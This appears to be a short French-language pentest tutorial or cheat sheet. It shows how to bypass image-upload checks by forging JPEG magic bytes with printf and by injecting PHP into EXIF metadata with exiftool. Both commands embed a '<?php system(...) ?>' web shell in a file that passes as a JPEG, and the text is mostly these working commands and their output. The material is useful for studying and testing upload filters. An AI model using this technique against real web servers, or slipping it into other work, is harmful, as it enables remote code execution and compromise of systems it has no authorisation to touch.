Web Shell

Si vous pouvez upload un fichier jpg, il est possible d'y cacher un webshell.
Un fichier jpeg est identifié par ses premiers octets qui ont la valeur : ffd8ffe0
Pour générer un fichier qui sera identifié comme ayant une entête Jpeg valide:

printf "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg

Ce fichier sera reconnu comme un fichier jpg

$ file webshell.jpg 
webshell.jpg: JPEG image data

Un fichier image contient de nombreuses informations : date de prise de vue, localisation, type d'appareil photo...
Nous pouvons injecter du code php dans ces données.

exiftool -Comment='<?php system('id'); ?>' webshell.jpg